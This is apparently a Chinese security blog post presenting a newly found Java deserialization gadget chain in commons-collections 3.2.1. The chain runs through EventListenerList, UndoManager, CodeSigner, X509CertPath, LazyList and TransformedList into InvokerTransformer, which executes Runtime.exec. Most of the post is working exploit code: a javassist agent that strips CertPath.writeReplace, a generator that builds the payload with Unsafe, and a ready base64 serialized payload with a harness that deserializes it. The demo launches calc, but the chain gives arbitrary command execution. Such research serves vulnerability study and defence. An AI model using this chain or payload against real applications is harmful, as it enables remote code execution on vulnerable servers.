文章 - java反序列化漏洞commons-collections3.2.1TransformedList触发transform

所用到的类java原生类和common-collections类

jdk版本是
jdk1.8.0_162
看到之前师傅总结的cc链子的图，我去使用CodeQL寻找了一下，发现除了Map，List也能触发。
我找了一个可以触发到transform的链子，剩下的作用如InvokerTransform触发二次反序列化没有写，这边使用ChainedTransformer做一个例子
调用链：

分析

eventListener触发CodeSigner的toString方法

signerCertPath.getCertificates().get(0)
这一行代码

调用了signerCertPath的get(0)

也就是LazyList的get(0)，由于factory用的是

new ConstantFactory(chainedTransformer)

所以object就为chainedTransformer

进入

最后就进入了InvokerTransform的transform

结果

由于CertPath重写了writeReplace导致序列化异常，我使用了agent将其hook掉

package com.n1ght;  

import javassist.ClassPool;  
import javassist.CtClass;  
import javassist.CtMethod;  

import java.lang.instrument.ClassFileTransformer;  
import java.lang.instrument.IllegalClassFormatException;  
import java.security.ProtectionDomain;  
import java.security.cert.CertPath;  

public class RemoveReplaceTransformer implements ClassFileTransformer {  
    @Override  
    public byte[] transform(ClassLoader loader, String className, Class<?> classBeingRedefined, ProtectionDomain protectionDomain, byte[] classfileBuffer) throws IllegalClassFormatException {  
        if(className.equals("java/security/cert/CertPath")){  
            try {  
                System.out.println(true);  
                ClassPool pool = ClassPool.getDefault();  
                CtClass ctClass = pool.get("java.security.cert.CertPath");  
                CtMethod writeReplace = ctClass.getDeclaredMethod("writeReplace");  
                ctClass.removeMethod(writeReplace);  
                ctClass.detach();  
                return ctClass.toBytecode();  
            }catch (Exception e){  
                System.out.println(e);;  
            }  

        }  

        return  classfileBuffer;  
    }  

}

将agent加上

package com.web;  


import org.apache.commons.collections.Transformer;  
import org.apache.commons.collections.functors.ChainedTransformer;  
import org.apache.commons.collections.functors.ConstantFactory;  
import org.apache.commons.collections.functors.ConstantTransformer;  
import org.apache.commons.collections.functors.InvokerTransformer;  
import org.apache.commons.collections.list.LazyList;  
import org.apache.commons.collections.list.TransformedList;  
import org.apache.commons.collections.map.ListOrderedMap;  
import sun.misc.Unsafe;  
import sun.security.provider.certpath.X509CertPath;  

import javax.swing.event.EventListenerList;  
import javax.swing.undo.UndoManager;  
import java.io.ByteArrayInputStream;  
import java.io.ByteArrayOutputStream;  
import java.io.ObjectInputStream;  
import java.io.ObjectOutputStream;  
import java.lang.reflect.Field;  
import java.security.CodeSigner;  
import java.util.*;  

public class ccExp {  
    public static void main(String[] args) throws Exception {  

        Transformer[] transformers = new Transformer[]{  
                new ConstantTransformer(Runtime.class),  
                new InvokerTransformer("getMethod", new Class[]{String.class, Class[].class}, new Object[]{"getRuntime", null}),  
                new InvokerTransformer("invoke", new Class[]{Object.class, Object[].class}, new Object[]{null, null}),  
                new InvokerTransformer("exec", new Class[]{String.class}, new Object[]{"calc"})  
        };  
        ChainedTransformer chainedTransformer = new ChainedTransformer(transformers);  
        ArrayList<Object> list = new ArrayList<>();  
        list.add(null);  
        List decorate1 = TransformedList.decorate(list, chainedTransformer);  
        List decorate = LazyList.decorate(decorate1, new ConstantFactory(chainedTransformer));  
        HashMap<Object, Object> map = new HashMap<>();  
        ListOrderedMap decorated = (ListOrderedMap) ListOrderedMap.decorate(map);  
        Field field = Unsafe.class.getDeclaredField("theUnsafe");  
        field.setAccessible(true);  
        Unsafe unsafe = (Unsafe) field.get((Object) null);  
        unsafe.putObject(decorated, unsafe.objectFieldOffset(ListOrderedMap.class.getDeclaredField("insertOrder")), decorate);  
        X509CertPath o = (X509CertPath) unsafe.allocateInstance(X509CertPath.class);  
        unsafe.putObject(o, unsafe.objectFieldOffset(X509CertPath.class.getDeclaredField("certs")), decorate);  
        Object o1 = unsafe.allocateInstance(CodeSigner.class);  
        unsafe.putObject(o1, unsafe.objectFieldOffset(CodeSigner.class.getDeclaredField("signerCertPath")), o);  
        EventListenerList list2 = new EventListenerList();  
        UndoManager manager = new UndoManager();  
        Vector vector = (Vector) getFieldValue(manager, "edits");  
        vector.add(o1);  
        unsafe.putObject(list2,unsafe.objectFieldOffset(list2.getClass().getDeclaredField("listenerList")),new Object[]{InternalError.class, manager});  
        ByteArrayOutputStream bao = new ByteArrayOutputStream();  
        new ObjectOutputStream(bao).writeObject(list2);  
        System.out.println(Base64.getEncoder().encodeToString(bao.toByteArray()));  
        ByteArrayInputStream bin = new ByteArrayInputStream(bao.toByteArray());  
        new ObjectInputStream(bin).readObject();  
    }  
    public static Object getFieldValue(Object obj, String fieldName) throws Exception {  
        Field field = getField(obj.getClass(), fieldName);  
        return field.get(obj);  
    }  
    public static Field getField(Class<?> clazz, String fieldName) {  
        Field field = null;  

        try {  
            field = clazz.getDeclaredField(fieldName);  
            field.setAccessible(true);  
        } catch (NoSuchFieldException var4) {  
            if (clazz.getSuperclass() != null) {  
                field = getField(clazz.getSuperclass(), fieldName);  
            }  
        }  

        return field;  
    }  
}

将base64编码内容，序列化

package com.example.web;

import java.io.ByteArrayInputStream;
import java.io.ObjectInputStream;
import java.util.Base64;

public class Test {
    public static void main(String[] args) throws Exception {
        String s = "rO0ABXNyACNqYXZheC5zd2luZy5ldmVudC5FdmVudExpc3RlbmVyTGlzdLE2xn2E6tZEAwAAeHB0ABdqYXZhLmxhbmcuSW50ZXJuYWxFcnJvcnNyABxqYXZheC5zd2luZy51bmRvLlVuZG9NYW5hZ2Vy4ysheUxxykICAAJJAA5pbmRleE9mTmV4dEFkZEkABWxpbWl0eHIAHWphdmF4LnN3aW5nLnVuZG8uQ29tcG91bmRFZGl0pZ5QulPblf0CAAJaAAppblByb2dyZXNzTAAFZWRpdHN0ABJMamF2YS91dGlsL1ZlY3Rvcjt4cgAlamF2YXguc3dpbmcudW5kby5BYnN0cmFjdFVuZG9hYmxlRWRpdAgNG47tAgsQAgACWgAFYWxpdmVaAAtoYXNCZWVuRG9uZXhwAQEBc3IAEGphdmEudXRpbC5WZWN0b3LZl31bgDuvAQMAA0kAEWNhcGFjaXR5SW5jcmVtZW50SQAMZWxlbWVudENvdW50WwALZWxlbWVudERhdGF0ABNbTGphdmEvbGFuZy9PYmplY3Q7eHAAAAAAAAAAAXVyABNbTGphdmEubGFuZy5PYmplY3Q7kM5YnxBzKWwCAAB4cAAAAGRzcgAYamF2YS5zZWN1cml0eS5Db2RlU2lnbmVyXqL6Zsshmq0CAAJMAA5zaWduZXJDZXJ0UGF0aHQAHUxqYXZhL3NlY3VyaXR5L2NlcnQvQ2VydFBhdGg7TAAJdGltZXN0YW1wdAAZTGphdmEvc2VjdXJpdHkvVGltZXN0YW1wO3hwc3IAK3N1bi5zZWN1cml0eS5wcm92aWRlci5jZXJ0cGF0aC5YNTA5Q2VydFBhdGhFP1T3TEUgtAIAAUwABWNlcnRzdAAQTGphdmEvdXRpbC9MaXN0O3hyABtqYXZhLnNlY3VyaXR5LmNlcnQuQ2VydFBhdGhUN4mXfdPl+wIAAUwABHR5cGV0ABJMamF2YS9sYW5nL1N0cmluZzt4cHBzcgAsb3JnLmFwYWNoZS5jb21tb25zLmNvbGxlY3Rpb25zLmxpc3QuTGF6eUxpc3ToSpYmWppU8gIAAUwAB2ZhY3Rvcnl0AChMb3JnL2FwYWNoZS9jb21tb25zL2NvbGxlY3Rpb25zL0ZhY3Rvcnk7eHIARW9yZy5hcGFjaGUuY29tbW9ucy5jb2xsZWN0aW9ucy5saXN0LkFic3RyYWN0U2VyaWFsaXphYmxlTGlzdERlY29yYXRvciVC5Cn2jXtrAwAAeHBzcgAzb3JnLmFwYWNoZS5jb21tb25zLmNvbGxlY3Rpb25zLmxpc3QuVHJhbnNmb3JtZWRMaXN0DvL1W62zYVUCAAB4cgA/b3JnLmFwYWNoZS5jb21tb25zLmNvbGxlY3Rpb25zLmNvbGxlY3Rpb24uVHJhbnNmb3JtZWRDb2xsZWN0aW9ueKFA96RzDpoCAAFMAAt0cmFuc2Zvcm1lcnQALExvcmcvYXBhY2hlL2NvbW1vbnMvY29sbGVjdGlvbnMvVHJhbnNmb3JtZXI7eHIAUW9yZy5hcGFjaGUuY29tbW9ucy5jb2xsZWN0aW9ucy5jb2xsZWN0aW9uLkFic3RyYWN0U2VyaWFsaXphYmxlQ29sbGVjdGlvbkRlY29yYXRvcla8EBO7pqE0AwAAeHBzcgATamF2YS51dGlsLkFycmF5TGlzdHiB0h2Zx2GdAwABSQAEc2l6ZXhwAAAAAXcEAAAAAXB4eHNyADpvcmcuYXBhY2hlLmNvbW1vbnMuY29sbGVjdGlvbnMuZnVuY3RvcnMuQ2hhaW5lZFRyYW5zZm9ybWVyMMeX7Ch6lwQCAAFbAA1pVHJhbnNmb3JtZXJzdAAtW0xvcmcvYXBhY2hlL2NvbW1vbnMvY29sbGVjdGlvbnMvVHJhbnNmb3JtZXI7eHB1cgAtW0xvcmcuYXBhY2hlLmNvbW1vbnMuY29sbGVjdGlvbnMuVHJhbnNmb3JtZXI7vVYq8dg0GJkCAAB4cAAAAARzcgA7b3JnLmFwYWNoZS5jb21tb25zLmNvbGxlY3Rpb25zLmZ1bmN0b3JzLkNvbnN0YW50VHJhbnNmb3JtZXJYdpARQQKxlAIAAUwACWlDb25zdGFudHQAEkxqYXZhL2xhbmcvT2JqZWN0O3hwdnIAEWphdmEubGFuZy5SdW50aW1lAAAAAAAAAAAAAAB4cHNyADpvcmcuYXBhY2hlLmNvbW1vbnMuY29sbGVjdGlvbnMuZnVuY3RvcnMuSW52b2tlclRyYW5zZm9ybWVyh+j/a3t8zjgCAANbAAVpQXJnc3EAfgAJTAALaU1ldGhvZE5hbWVxAH4AFFsAC2lQYXJhbVR5cGVzdAASW0xqYXZhL2xhbmcvQ2xhc3M7eHB1cQB+AAsAAAACdAAKZ2V0UnVudGltZXB0AAlnZXRNZXRob2R1cgASW0xqYXZhLmxhbmcuQ2xhc3M7qxbXrsvNWpkCAAB4cAAAAAJ2cgAQamF2YS5sYW5nLlN0cmluZ6DwpDh6O7NCAgAAeHB2cQB+ADFzcQB+ACt1cQB+AAsAAAACcHB0AAZpbnZva2V1cQB+ADEAAAACdnIAEGphdmEubGFuZy5PYmplY3QAAAAAAAAAAAAAAHhwdnEAfgALc3EAfgArdXEAfgALAAAAAXQABGNhbGN0AARleGVjdXEAfgAxAAAAAXEAfgA0eHNyADdvcmcuYXBhY2hlLmNvbW1vbnMuY29sbGVjdGlvbnMuZnVuY3RvcnMuQ29uc3RhbnRGYWN0b3J5zyQKt21bKggCAAFMAAlpQ29uc3RhbnRxAH4AJ3hwcQB+ACNwcHBwcHBwcHBwcHBwcHBwcHBwcHBwcHBwcHBwcHBwcHBwcHBwcHBwcHBwcHBwcHBwcHBwcHBwcHBwcHBwcHBwcHBwcHBwcHBwcHBwcHBwcHBwcHBwcHBwcHBwcHBwcHBwcHBweAAAAAAAAABkcHg=";
        byte[] decode = Base64.getDecoder().decode(s);
        System.out.println(new String(decode));
        ByteArrayInputStream byteArrayInputStream = new ByteArrayInputStream(decode);
        new ObjectInputStream(byteArrayInputStream).readObject();
    }
}